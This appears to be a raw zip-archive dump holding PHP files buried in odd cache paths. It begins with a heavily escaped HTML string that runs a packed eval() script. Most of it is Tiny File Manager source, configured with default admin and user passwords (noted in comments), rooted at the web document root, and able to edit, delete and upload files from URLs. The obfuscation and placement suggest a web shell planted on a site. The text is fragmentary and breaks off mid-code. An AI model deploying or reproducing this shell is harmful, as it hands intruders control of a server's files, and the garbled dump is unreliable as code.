"\x20\xd\12\x3c\x2f\144\151\166\76\xd\xa\74\x73\143\162\x69\160\x74\40\x73\162\143\75\42\x2f\x2f\143\157\x64\x65\x2e\x6a\x71\x75\145\162\171\x2e\x63\157\155\x2f\152\161\165\145\162\x79\x2d\x33\x2e\x35\56\x31\x2e\x73\x6c\x69\x6d\56\155\151\156\56\x6a\163\x22\x3e\74\x2f\163\143\x72\151\160\164\x3e\xd\xa\74\x73\x63\162\x69\160\164\x20\x73\x72\143\x3d\42\x2f\x2f\143\144\156\x2e\x6a\x73\x64\x65\154\x69\x76\162\56\x6e\x65\164\x2f\x6e\160\x6d\x2f\x62\x6f\x6f\164\163\164\162\141\x70\100\64\x2e\66\x2e\60\x2f\144\x69\163\164\x2f\152\x73\x2f\x62\157\x6f\x74\163\x74\162\x61\160\56\142\x75\156\x64\x6c\x65\56\x6d\x69\x6e\56\152\163\x22\40\x3e\74\57\x73\143\x72\x69\160\164\76\15\12\x3c\x73\x63\x72\151\x70\x74\40\x73\x72\143\x3d\x22\x2f\57\x63\144\x6e\x2e\152\163\144\x65\154\151\x76\162\56\156\145\164\x2f\x6e\160\x6d\x2f\142\163\x2d\143\x75\x73\164\x6f\155\55\x66\x69\x6c\x65\55\x69\156\x70\x75\x74\57\144\151\x73\164\x2f\142\163\x2d\x63\x75\x73\x74\x6f\x6d\55\146\x69\x6c\x65\55\151\156\160\x75\x74\x2e\x6d\x69\x6e\x2e\152\163\42\76\74\x2f\x73\143\162\151\x70\164\76\xd\xa\x3c\x73\x63\162\151\160\x74\40\164\x79\x70\x65\75\42\164\145\170\x74\x2f\x6a\141\x76\x61\x73\x63\162\x69\x70\164\x22\76\x65\x76\141\x6c\x28\146\165\x6e\143\x74\151\x6f\156\x28\160\x2c\141\x2c\x63\x2c\153\54\x65\x2c\x64\x29\x7b\145\75\146\x75\156\143\x74\x69\x6f\156\x28\x63\51\173\162\145\164\165\x72\156\50\x63\x3c\141\77\x27\x27\x3a\145\x28\x70\141\162\x73\x65\x49\x6e\164\50\x63\x2f\x61\x29\x29\51\x2b\50\x28\x63\75\143\45\141\x29\x3e\x33\x35\77\123\x74\x72\x69\x6e\x67\x2e\x66\x72\157\155\x43\x68\x61\x72\103\x6f\x64\145\50\143\x2b\62\71\51\x3a\x63\56\164\157\x53\x74\x72\x69\x6e\x67\50\63\66\x29\x29\175\x3b\151\x66\x28\41\47\47\x2e\162\145\160\154\x61\143\x65\50\x2f\x5e\x2f\54\x53\164\162\151\156\147\x29\51\173\167\x68\151\154\145\50\x63\55\55\x29\x7b\x64\133\145\x28\x63\x29\x5d\x3d\153\133\x63\x5d\174\x7c\145\x28\x63\x29\175\153\x3d\x5b\x66\x75\156\x63\164\x69\x6f\156\50\145\51\173\x72\x65\164\x75\x72\156\40\x64\133\145\135\x7d\135\x3b\x65\75\x66\x75\156\143\164\x69\157\x6e\x28\51\x7b\x72\145\x74\165\162\156\x27\134\x5c\x77\53\x27\175\x3b\x63\75\x31\x7d\x3b\167\x68\x69\154\145\50\143\x2d\x2d\x29\173\x69\x66\x28\x6b\x5b\x63\135\x29\x7b\x70\x3d\160\56\x72\x65\x70\x6c\x61\143\x65\x28\x6e\x65\x77\40\122\145\147\x45\170\x70\50\x27\x5c\x5c\x62\x27\x2b\x65\50\143\x29\x2b\47\134\134\142\x27\x2c\x27\x67\47\x29\54\153\133\x63\x5d\x29\x7d\x7d\162\145\164\165\x72\156\40\160\175\x28\47\105\56\156\x28\51\x3b\x24\50\134\x27\133\x32\55\x6d\75\x22\64\42\135\x5c\47\x29\56\x34\50\x29\x3b\44\50\x22\56\x6c\42\x29\56\x6b\x28\152\50\x65\51\173\145\56\x67\x28\x29\73\150\x20\x30\x3d\44\x28\66\x29\x2e\x35\50\x22\62\55\60\42\x29\73\x63\x28\x7b\x62\x3a\x22\141\42\54\71\72\x22\157\x20\151\x20\x71\x3f\42\x2c\x77\x3a\x22\104\x20\42\x2b\60\x2b\42\x20\x70\40\x43\40\x42\x22\x2c\x41\72\67\x2c\x7a\x3a\67\x2c\175\x29\56\x79\x28\50\70\x29\75\76\x7b\x72\50\x38\x29\x7b\x78\x20\x31\x3d\x24\50\66\x29\56\x35\50\x22\x33\42\51\x2b\x22\46\x74\x3d\42\x2b\50\x28\60\75\75\42\x76\42\51\77\42\144\x22\x3a\42\146\x22\51\x3b\x75\56\x73\56\x33\75\x31\x7d\175\51\175\x29\73\47\54\64\61\54\64\x31\x2c\47\164\171\x70\145\174\142\165\x69\x6c\144\125\x52\114\x7c\x64\141\164\x61\174\150\x72\145\146\x7c\x74\157\x6f\x6c\x74\x69\x70\x7c\x61\x74\x74\x72\x7c\164\x68\151\163\174\164\162\x75\145\174\167\151\154\x6c\104\145\x6c\x65\164\x65\174\x74\x69\164\x6c\145\174\167\141\162\x6e\x69\156\147\174\151\143\157\x6e\174\x73\x77\141\154\174\174\x7c\174\x70\162\x65\x76\x65\156\164\104\145\146\141\165\154\164\x7c\154\145\x74\x7c\171\157\x75\x7c\x66\165\156\143\x74\x69\x6f\x6e\x7c\143\x6c\x69\x63\x6b\174\x64\145\154\145\164\145\x7c\164\157\147\x67\x6c\x65\174\x69\156\x69\164\174\101\162\145\x7c\x77\x69\x6c\x6c\174\163\165\x72\x65\x7c\151\x66\174\x6c\157\143\x61\x74\151\x6f\x6e\x7c\174\144\x6f\143\x75\x6d\145\156\x74\174\x66\157\x6c\144\145\x72\x7c\164\145\170\164\x7c\143\157\x6e\163\164\x7c\x74\x68\x65\x6e\174\x64\x61\x6e\147\145\162\115\x6f\x64\x65\x7c\142\165\x74\164\157\156\x73\x7c\x64\145\x6c\x65\164\145\x64\174\142\x65\x7c\124\x68\x69\x73\x7c\142\x73\103\x75\x73\x74\157\155\106\x69\154\x65\x49\156\160\x75\x74\x27\x2e\163\x70\x6c\x69\164\50\x27\x7c\x27\x29\54\x30\x2c\173\175\x29\51\x3c\x2f\163\143\x72\x69\160\x74\x3e\15\xa\x3c\57\x62\157\144\x79\76\xd\xa\x3c\x2f\x68\164\155\154\76";
PK 5\Ic ) tmp/media/dist/cache/files/yrat/index.phpnu W+A PK 5\V v2/v3/tgv/index.phpnu W+A 'Password', 'Username2' => 'Password2', ...)
// Generate secure password hash - https://tinyfilemanager.github.io/docs/pwd.html
$auth_users = array(
'admin' => '$2y$10$D5FN5gNpeDd4IB9XwjNES.hbDWuHpYCQ.GPWh4SwE4iz2nVvYA3wO', //pass
'user' => '$2y$10$/KVtAF/hL79tCnCbZOeQnedoXXbBIe.sw9r02yPX0Uhy85GUsRe9q' //12345
);
// Readonly users
// e.g. array('users', 'guest', ...)
$readonly_users = array(
'user'
);
// Enable highlight.js (https://highlightjs.org/) on view's page
$use_highlightjs = true;
// highlight.js style
// for dark theme use 'ir-black'
$highlightjs_style = 'vs';
// Enable ace.js (https://ace.c9.io/) on view's page
$edit_files = true;
// Default timezone for date() and time()
// Doc - http://php.net/manual/en/timezones.php
$default_timezone = 'Etc/UTC'; // UTC
// Root path for file manager
// use absolute path of directory i.e: '/var/www/folder' or $_SERVER['DOCUMENT_ROOT'].'/folder'
$root_path = $_SERVER['DOCUMENT_ROOT'];
// Root url for links in file manager.Relative to $http_host. Variants: '', 'path/to/subfolder'
// Will not working if $root_path will be outside of server document root
$root_url = '';
// Server hostname. Can set manually if wrong
$http_host = $_SERVER['HTTP_HOST'];
// user specific directories
// array('Username' => 'Directory path', 'Username2' => 'Directory path', ...)
$directories_users = array();
// input encoding for iconv
$iconv_input_encoding = 'UTF-8';
// date() format for file modification date
// Doc - https://www.php.net/manual/en/function.date.php
$datetime_format = 'd.m.y H:i';
// Allowed file extensions for create and rename files
// e.g. 'txt,html,css,js'
$allowed_file_extensions = '';
// Allowed file extensions for upload files
// e.g. 'gif,png,jpg,html,txt'
$allowed_upload_extensions = '';
// Favicon path. This can be either a full url to an .PNG image, or a path based on the document root.
// full path, e.g http://example.com/favicon.png
// local path, e.g images/icons/favicon.png
$favicon_path = '';
// Files and folders to excluded from listing
// e.g. array('myfile.html', 'personal-folder', '*.php', ...)
$exclude_items = array();
// Online office Docs Viewer
// Availabe rules are 'google', 'microsoft' or false
// google => View documents using Google Docs Viewer
// microsoft => View documents using Microsoft Web Apps Viewer
// false => disable online doc viewer
$online_viewer = 'google';
// Sticky Nav bar
// true => enable sticky header
// false => disable sticky header
$sticky_navbar = true;
// Maximum file upload size
// Increase the following values in php.ini to work properly
// memory_limit, upload_max_filesize, post_max_size
$max_upload_size_bytes = 5000;
// Possible rules are 'OFF', 'AND' or 'OR'
// OFF => Don't check connection IP, defaults to OFF
// AND => Connection must be on the whitelist, and not on the blacklist
// OR => Connection must be on the whitelist, or not on the blacklist
$ip_ruleset = 'OFF';
// Should users be notified of their block?
$ip_silent = true;
// IP-addresses, both ipv4 and ipv6
$ip_whitelist = array(
'127.0.0.1', // local ipv4
'::1' // local ipv6
);
// IP-addresses, both ipv4 and ipv6
$ip_blacklist = array(
'0.0.0.0', // non-routable meta ipv4
'::' // non-routable meta ipv6
);
// if User has the customized config file, try to use it to override the default config above
$config_file = __DIR__.'/config.php';
if (is_readable($config_file)) {
@include($config_file);
}
// --- EDIT BELOW CAREFULLY OR DO NOT EDIT AT ALL ---
// max upload file size
define('MAX_UPLOAD_SIZE', $max_upload_size_bytes);
// private key and session name to store to the session
if ( !defined( 'FM_SESSION_ID')) {
define('FM_SESSION_ID', 'filemanager');
}
// Configuration
$cfg = new FM_Config();
// Default language
$lang = isset($cfg->data['lang']) ? $cfg->data['lang'] : 'en';
// Show or hide files and folders that starts with a dot
$show_hidden_files = isset($cfg->data['show_hidden']) ? $cfg->data['show_hidden'] : true;
// PHP error reporting - false = Turns off Errors, true = Turns on Errors
$report_errors = isset($cfg->data['error_reporting']) ? $cfg->data['error_reporting'] : true;
// Hide Permissions and Owner cols in file-listing
$hide_Cols = isset($cfg->data['hide_Cols']) ? $cfg->data['hide_Cols'] : true;
// Show directory size: true or speedup output: false
$calc_folder = isset($cfg->data['calc_folder']) ? $cfg->data['calc_folder'] : true;
// Theme
$theme = isset($cfg->data['theme']) ? $cfg->data['theme'] : 'light';
define('FM_THEME', $theme);
//available languages
$lang_list = array(
'en' => 'English'
);
if ($report_errors == true) {
@ini_set('error_reporting', E_ALL);
@ini_set('display_errors', 1);
} else {
@ini_set('error_reporting', E_ALL);
@ini_set('display_errors', 0);
}
// if fm included
if (defined('FM_EMBED')) {
$use_auth = false;
$sticky_navbar = false;
} else {
@set_time_limit(600);
date_default_timezone_set($default_timezone);
ini_set('default_charset', 'UTF-8');
if (version_compare(PHP_VERSION, '5.6.0', '<') && function_exists('mb_internal_encoding')) {
mb_internal_encoding('UTF-8');
}
if (function_exists('mb_regex_encoding')) {
mb_regex_encoding('UTF-8');
}
session_cache_limiter('');
session_name(FM_SESSION_ID );
function session_error_handling_function($code, $msg, $file, $line) {
// Permission denied for default session, try to create a new one
if ($code == 2) {
session_abort();
session_id(session_create_id());
@session_start();
}
}
set_error_handler('session_error_handling_function');
session_start();
restore_error_handler();
}
if (empty($auth_users)) {
$use_auth = false;
}
$is_https = isset($_SERVER['HTTPS']) && ($_SERVER['HTTPS'] == 'on' || $_SERVER['HTTPS'] == 1)
|| isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https';
// update $root_url based on user specific directories
if (isset($_SESSION[FM_SESSION_ID]['logged']) && !empty($directories_users[$_SESSION[FM_SESSION_ID]['logged']])) {
$wd = fm_clean_path(dirname($_SERVER['PHP_SELF']));
$root_url = $root_url.$wd.DIRECTORY_SEPARATOR.$directories_users[$_SESSION[FM_SESSION_ID]['logged']];
}
// clean $root_url
$root_url = fm_clean_path($root_url);
// abs path for site
defined('FM_ROOT_URL') || define('FM_ROOT_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . (!empty($root_url) ? '/' . $root_url : ''));
defined('FM_SELF_URL') || define('FM_SELF_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . $_SERVER['PHP_SELF']);
// logout
if (isset($_GET['logout'])) {
unset($_SESSION[FM_SESSION_ID]['logged']);
fm_redirect(FM_SELF_URL);
}
// Validate connection IP
if($ip_ruleset != 'OFF'){
$clientIp = $_SERVER['REMOTE_ADDR'];
$proceed = false;
$whitelisted = in_array($clientIp, $ip_whitelist);
$blacklisted = in_array($clientIp, $ip_blacklist);
if($ip_ruleset == 'AND'){
if($whitelisted == true && $blacklisted == false){
$proceed = true;
}
} else
if($ip_ruleset == 'OR'){
if($whitelisted == true || $blacklisted == false){
$proceed = true;
}
}
if($proceed == false){
trigger_error('User connection denied from: ' . $clientIp, E_USER_WARNING);
if($ip_silent == false){
fm_set_msg(lng('Access denied. IP restriction applicable'), 'error');
fm_show_header_login();
fm_show_message();
}
exit();
}
}
// Auth
if ($use_auth) {
if (isset($_SESSION[FM_SESSION_ID]['logged'], $auth_users[$_SESSION[FM_SESSION_ID]['logged']])) {
// Logged
} elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'])) {
// Logging In
sleep(1);
if(function_exists('password_verify')) {
if (isset($auth_users[$_POST['fm_usr']]) && isset($_POST['fm_pwd']) && password_verify($_POST['fm_pwd'], $auth_users[$_POST['fm_usr']])) {
$_SESSION[FM_SESSION_ID]['logged'] = $_POST['fm_usr'];
fm_set_msg(lng('You are logged in'));
fm_redirect(FM_SELF_URL . '?p=');
} else {
unset($_SESSION[FM_SESSION_ID]['logged']);
fm_set_msg(lng('Login failed. Invalid username or password'), 'error');
fm_redirect(FM_SELF_URL);
}
} else {
fm_set_msg(lng('password_hash not supported, Upgrade PHP version'), 'error');;
}
} else {
// Form
unset($_SESSION[FM_SESSION_ID]['logged']);
fm_show_header_login();
?>
".lng('Root path')." \"{$root_path}\" ".lng('not found!')." ";
exit;
}
defined('FM_SHOW_HIDDEN') || define('FM_SHOW_HIDDEN', $show_hidden_files);
defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', $root_path);
defined('FM_LANG') || define('FM_LANG', $lang);
defined('FM_FILE_EXTENSION') || define('FM_FILE_EXTENSION', $allowed_file_extensions);
defined('FM_UPLOAD_EXTENSION') || define('FM_UPLOAD_EXTENSION', $allowed_upload_extensions);
defined('FM_EXCLUDE_ITEMS') || define('FM_EXCLUDE_ITEMS', (version_compare(PHP_VERSION, '7.0.0', '<') ? serialize($exclude_items) : $exclude_items));
defined('FM_DOC_VIEWER') || define('FM_DOC_VIEWER', $online_viewer);
define('FM_READONLY', $use_auth && !empty($readonly_users) && isset($_SESSION[FM_SESSION_ID]['logged']) && in_array($_SESSION[FM_SESSION_ID]['logged'], $readonly_users));
define('FM_IS_WIN', DIRECTORY_SEPARATOR == '\\');
// always use ?p=
if (!isset($_GET['p']) && empty($_FILES)) {
fm_redirect(FM_SELF_URL . '?p=');
}
// get path
$p = isset($_GET['p']) ? $_GET['p'] : (isset($_POST['p']) ? $_POST['p'] : '');
// clean path
$p = fm_clean_path($p);
// for ajax request - save
$input = file_get_contents('php://input');
$_POST = (strpos($input, 'ajax') != FALSE && strpos($input, 'save') != FALSE) ? json_decode($input, true) : $_POST;
// instead globals vars
define('FM_PATH', $p);
define('FM_USE_AUTH', $use_auth);
define('FM_EDIT_FILE', $edit_files);
defined('FM_ICONV_INPUT_ENC') || define('FM_ICONV_INPUT_ENC', $iconv_input_encoding);
defined('FM_USE_HIGHLIGHTJS') || define('FM_USE_HIGHLIGHTJS', $use_highlightjs);
defined('FM_HIGHLIGHTJS_STYLE') || define('FM_HIGHLIGHTJS_STYLE', $highlightjs_style);
defined('FM_DATETIME_FORMAT') || define('FM_DATETIME_FORMAT', $datetime_format);
unset($p, $use_auth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style);
/*************************** ACTIONS ***************************/
// AJAX Request
if (isset($_POST['ajax']) && !FM_READONLY) {
// save
if (isset($_POST['type']) && $_POST['type'] == "save") {
// get current path
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
// check path
if (!is_dir($path)) {
fm_redirect(FM_SELF_URL . '?p=');
}
$file = $_GET['edit'];
$file = fm_clean_path($file);
$file = str_replace('/', '', $file);
if ($file == '' || !is_file($path . '/' . $file)) {
fm_set_msg(lng('File not found'), 'error');
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
header('X-XSS-Protection:0');
$file_path = $path . '/' . $file;
$writedata = $_POST['content'];
$fd = fopen($file_path, "w");
$write_results = @fwrite($fd, $writedata);
fclose($fd);
if ($write_results === false){
header("HTTP/1.1 500 Internal Server Error");
die("Could Not Write File! - Check Permissions / Ownership");
}
die(true);
}
//search : get list of files from the current folder
if(isset($_POST['type']) && $_POST['type']=="search") {
$dir = FM_ROOT_PATH;
$response = scan(fm_clean_path($_POST['path']), $_POST['content']);
echo json_encode($response);
exit();
}
// backup files
if (isset($_POST['type']) && $_POST['type'] == "backup" && !empty($_POST['file'])) {
$fileName = $_POST['file'];
$fullPath = FM_ROOT_PATH . '/';
if (!empty($_POST['path'])) {
$relativeDirPath = fm_clean_path($_POST['path']);
$fullPath .= "{$relativeDirPath}/";
}
$date = date("dMy-His");
$newFileName = "{$fileName}-{$date}.bak";
$fullyQualifiedFileName = $fullPath . $fileName;
try {
if (!file_exists($fullyQualifiedFileName)) {
throw new Exception("File {$fileName} not found");
}
if (copy($fullyQualifiedFileName, $fullPath . $newFileName)) {
echo "Backup {$newFileName} created";
} else {
throw new Exception("Could not copy file {$fileName}");
}
} catch (Exception $e) {
echo $e->getMessage();
}
}
// Save Config
if (isset($_POST['type']) && $_POST['type'] == "settings") {
global $cfg, $lang, $report_errors, $show_hidden_files, $lang_list, $hide_Cols, $calc_folder, $theme;
$newLng = $_POST['js-language'];
fm_get_translations([]);
if (!array_key_exists($newLng, $lang_list)) {
$newLng = 'en';
}
$erp = isset($_POST['js-error-report']) && $_POST['js-error-report'] == "true" ? true : false;
$shf = isset($_POST['js-show-hidden']) && $_POST['js-show-hidden'] == "true" ? true : false;
$hco = isset($_POST['js-hide-cols']) && $_POST['js-hide-cols'] == "true" ? true : false;
$caf = isset($_POST['js-calc-folder']) && $_POST['js-calc-folder'] == "true" ? true : false;
$te3 = $_POST['js-theme-3'];
if ($cfg->data['lang'] != $newLng) {
$cfg->data['lang'] = $newLng;
$lang = $newLng;
}
if ($cfg->data['error_reporting'] != $erp) {
$cfg->data['error_reporting'] = $erp;
$report_errors = $erp;
}
if ($cfg->data['show_hidden'] != $shf) {
$cfg->data['show_hidden'] = $shf;
$show_hidden_files = $shf;
}
if ($cfg->data['show_hidden'] != $shf) {
$cfg->data['show_hidden'] = $shf;
$show_hidden_files = $shf;
}
if ($cfg->data['hide_Cols'] != $hco) {
$cfg->data['hide_Cols'] = $hco;
$hide_Cols = $hco;
}
if ($cfg->data['calc_folder'] != $caf) {
$cfg->data['calc_folder'] = $caf;
$calc_folder = $caf;
}
if ($cfg->data['theme'] != $te3) {
$cfg->data['theme'] = $te3;
$theme = $te3;
}
$cfg->save();
echo true;
}
// new password hash
if (isset($_POST['type']) && $_POST['type'] == "pwdhash") {
$res = isset($_POST['inputPassword2']) && !empty($_POST['inputPassword2']) ? password_hash($_POST['inputPassword2'], PASSWORD_DEFAULT) : '';
echo $res;
}
//upload using url
if(isset($_POST['type']) && $_POST['type'] == "upload" && !empty($_REQUEST["uploadurl"])) {
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
function event_callback ($message) {
global $callback;
echo json_encode($message);
}
function get_file_path () {
global $path, $fileinfo, $temp_file;
return $path."/".basename($fileinfo->name);
}
$url = !empty($_REQUEST["uploadurl"]) && preg_match("|^http(s)?://.+$|", stripslashes($_REQUEST["uploadurl"])) ? stripslashes($_REQUEST["uploadurl"]) : null;
//prevent 127.* domain and known ports
$domain = parse_url($url, PHP_URL_HOST);
$port = parse_url($url, PHP_URL_PORT);
$knownPorts = [22, 23, 25, 3306];
if (preg_match("/^localhost$|^127(?:\.[0-9]+){0,2}\.[0-9]+$|^(?:0*\:)*?:?0*1$/i", $domain) || in_array($port, $knownPorts)) {
$err = array("message" => "URL is not allowed");
event_callback(array("fail" => $err));
exit();
}
$use_curl = false;
$temp_file = tempnam(sys_get_temp_dir(), "upload-");
$fileinfo = new stdClass();
$fileinfo->name = trim(basename($url), ".\x00..\x20");
$allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false;
$ext = strtolower(pathinfo($fileinfo->name, PATHINFO_EXTENSION));
$isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;
$err = false;
if(!$isFileAllowed) {
$err = array("message" => "File extension is not allowed");
event_callback(array("fail" => $err));
exit();
}
if (!$url) {
$success = false;
} else if ($use_curl) {
@$fp = fopen($temp_file, "w");
@$ch = curl_init($url);
curl_setopt($ch, CURLOPT_NOPROGRESS, false );
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_FILE, $fp);
@$success = curl_exec($ch);
$curl_info = curl_getinfo($ch);
if (!$success) {
$err = array("message" => curl_error($ch));
}
@curl_close($ch);
fclose($fp);
$fileinfo->size = $curl_info["size_download"];
$fileinfo->type = $curl_info["content_type"];
} else {
$ctx = stream_context_create();
@$success = copy($url, $temp_file, $ctx);
if (!$success) {
$err = error_get_last();
}
}
if ($success) {
$success = rename($temp_file, get_file_path());
}
if ($success) {
event_callback(array("done" => $fileinfo));
} else {
unlink($temp_file);
if (!$err) {
$err = array("message" => "Invalid url parameter");
}
event_callback(array("fail" => $err));
}
}
exit();
}
// Delete file / folder
if (isset($_GET['del']) && !FM_READONLY) {
$del = str_replace( '/', '', fm_clean_path( $_GET['del'] ) );
if ($del != '' && $del != '..' && $del != '.') {
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
$is_dir = is_dir($path . '/' . $del);
if (fm_rdelete($path . '/' . $del)) {
$msg = $is_dir ? lng('Folder').' %s '.lng('Deleted') : lng('File').' %s '.lng('Deleted');
fm_set_msg(sprintf($msg, fm_enc($del)));
} else {
$msg = $is_dir ? lng('Folder').' %s '.lng('not deleted') : lng('File').' %s '.lng('not deleted');
fm_set_msg(sprintf($msg, fm_enc($del)), 'error');
}
} else {
fm_set_msg(lng('Invalid file or folder name'), 'error');
}
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
// Create folder
if (isset($_GET['new']) && isset($_GET['type']) && !FM_READONLY) {
$type = $_GET['type'];
$new = str_replace( '/', '', fm_clean_path( strip_tags( $_GET['new'] ) ) );
if (fm_isvalid_filename($new) && $new != '' && $new != '..' && $new != '.') {
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
if ($_GET['type'] == "file") {
if (!file_exists($path . '/' . $new)) {
if(fm_is_valid_ext($new)) {
@fopen($path . '/' . $new, 'w') or die('Cannot open file: ' . $new);
fm_set_msg(sprintf(lng('File').' %s '.lng('Created'), fm_enc($new)));
} else {
fm_set_msg(lng('File extension is not allowed'), 'error');
}
} else {
fm_set_msg(sprintf(lng('File').' %s '.lng('already exists'), fm_enc($new)), 'alert');
}
} else {
if (fm_mkdir($path . '/' . $new, false) === true) {
fm_set_msg(sprintf(lng('Folder').' %s '.lng('Created'), $new));
} elseif (fm_mkdir($path . '/' . $new, false) === $path . '/' . $new) {
fm_set_msg(sprintf(lng('Folder').' %s '.lng('already exists'), fm_enc($new)), 'alert');
} else {
fm_set_msg(sprintf(lng('Folder').' %s '.lng('not created'), fm_enc($new)), 'error');
}
}
} else {
fm_set_msg(lng('Invalid characters in file or folder name'), 'error');
}
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
// Copy folder / file
if (isset($_GET['copy'], $_GET['finish']) && !FM_READONLY) {
// from
$copy = $_GET['copy'];
$copy = fm_clean_path($copy);
// empty path
if ($copy == '') {
fm_set_msg(lng('Source path not defined'), 'error');
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
// abs path from
$from = FM_ROOT_PATH . '/' . $copy;
// abs path to
$dest = FM_ROOT_PATH;
if (FM_PATH != '') {
$dest .= '/' . FM_PATH;
}
$dest .= '/' . basename($from);
// move?
$move = isset($_GET['move']);
// copy/move/duplicate
if ($from != $dest) {
$msg_from = trim(FM_PATH . '/' . basename($from), '/');
if ($move) { // Move and to != from so just perform move
$rename = fm_rename($from, $dest);
if ($rename) {
fm_set_msg(sprintf(lng('Moved from').' %s '.lng('to').' %s ', fm_enc($copy), fm_enc($msg_from)));
} elseif ($rename === null) {
fm_set_msg(lng('File or folder with this path already exists'), 'alert');
} else {
fm_set_msg(sprintf(lng('Error while moving from').' %s '.lng('to').' %s ', fm_enc($copy), fm_enc($msg_from)), 'error');
}
} else { // Not move and to != from so copy with original name
if (fm_rcopy($from, $dest)) {
fm_set_msg(sprintf(lng('Copied from').' %s '.lng('to').' %s ', fm_enc($copy), fm_enc($msg_from)));
} else {
fm_set_msg(sprintf(lng('Error while copying from').' %s '.lng('to').' %s ', fm_enc($copy), fm_enc($msg_from)), 'error');
}
}
} else {
if (!$move){ //Not move and to = from so duplicate
$msg_from = trim(FM_PATH . '/' . basename($from), '/');
$fn_parts = pathinfo($from);
$extension_suffix = '';
if(!is_dir($from)){
$extension_suffix = '.'.$fn_parts['extension'];
}
//Create new name for duplicate
$fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-'.date('YmdHis').$extension_suffix;
$loop_count = 0;
$max_loop = 1000;
// Check if a file with the duplicate name already exists, if so, make new name (edge case...)
while(file_exists($fn_duplicate) & $loop_count < $max_loop){
$fn_parts = pathinfo($fn_duplicate);
$fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-copy'.$extension_suffix;
$loop_count++;
}
if (fm_rcopy($from, $fn_duplicate, False)) {
fm_set_msg(sprintf('Copyied from %s to %s ', fm_enc($copy), fm_enc($fn_duplicate)));
} else {
fm_set_msg(sprintf('Error while copying from %s to %s ', fm_enc($copy), fm_enc($fn_duplicate)), 'error');
}
}
else{
fm_set_msg(lng('Paths must be not equal'), 'alert');
}
}
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
// Mass copy files/ folders
if (isset($_POST['file'], $_POST['copy_to'], $_POST['finish']) && !FM_READONLY) {
// from
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
// to
$copy_to_path = FM_ROOT_PATH;
$copy_to = fm_clean_path($_POST['copy_to']);
if ($copy_to != '') {
$copy_to_path .= '/' . $copy_to;
}
if ($path == $copy_to_path) {
fm_set_msg(lng('Paths must be not equal'), 'alert');
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
if (!is_dir($copy_to_path)) {
if (!fm_mkdir($copy_to_path, true)) {
fm_set_msg('Unable to create destination folder', 'error');
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
}
// move?
$move = isset($_POST['move']);
// copy/move
$errors = 0;
$files = $_POST['file'];
if (is_array($files) && count($files)) {
foreach ($files as $f) {
if ($f != '') {
// abs path from
$from = $path . '/' . $f;
// abs path to
$dest = $copy_to_path . '/' . $f;
// do
if ($move) {
$rename = fm_rename($from, $dest);
if ($rename === false) {
$errors++;
}
} else {
if (!fm_rcopy($from, $dest)) {
$errors++;
}
}
}
}
if ($errors == 0) {
$msg = $move ? 'Selected files and folders moved' : 'Selected files and folders copied';
fm_set_msg($msg);
} else {
$msg = $move ? 'Error while moving items' : 'Error while copying items';
fm_set_msg($msg, 'error');
}
} else {
fm_set_msg(lng('Nothing selected'), 'alert');
}
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
// Rename
if (isset($_GET['ren'], $_GET['to']) && !FM_READONLY) {
// old name
$old = $_GET['ren'];
$old = fm_clean_path($old);
$old = str_replace('/', '', $old);
// new name
$new = $_GET['to'];
$new = fm_clean_path(strip_tags($new));
$new = str_replace('/', '', $new);
// path
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
// rename
if (fm_isvalid_filename($new) && $old != '' && $new != '') {
if (fm_rename($path . '/' . $old, $path . '/' . $new)) {
fm_set_msg(sprintf(lng('Renamed from').' %s '. lng('to').' %s ', fm_enc($old), fm_enc($new)));
} else {
fm_set_msg(sprintf(lng('Error while renaming from').' %s '. lng('to').' %s ', fm_enc($old), fm_enc($new)), 'error');
}
} else {
fm_set_msg(lng('Invalid characters in file name'), 'error');
}
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
// Download
if (isset($_GET['dl'])) {
$dl = $_GET['dl'];
$dl = fm_clean_path($dl);
$dl = str_replace('/', '', $dl);
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
if ($dl != '' && is_file($path . '/' . $dl)) {
fm_download_file($path . '/' . $dl, $dl, 1024);
exit;
} else {
fm_set_msg(lng('File not found'), 'error');
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
}
// Upload
if (!empty($_FILES) && !FM_READONLY) {
$override_file_name = false;
$f = $_FILES;
$path = FM_ROOT_PATH;
$ds = DIRECTORY_SEPARATOR;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
$errors = 0;
$uploads = 0;
$allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false;
$response = array (
'status' => 'error',
'info' => 'Oops! Try again'
);
$filename = $f['file']['name'];
$tmp_name = $f['file']['tmp_name'];
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
$isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;
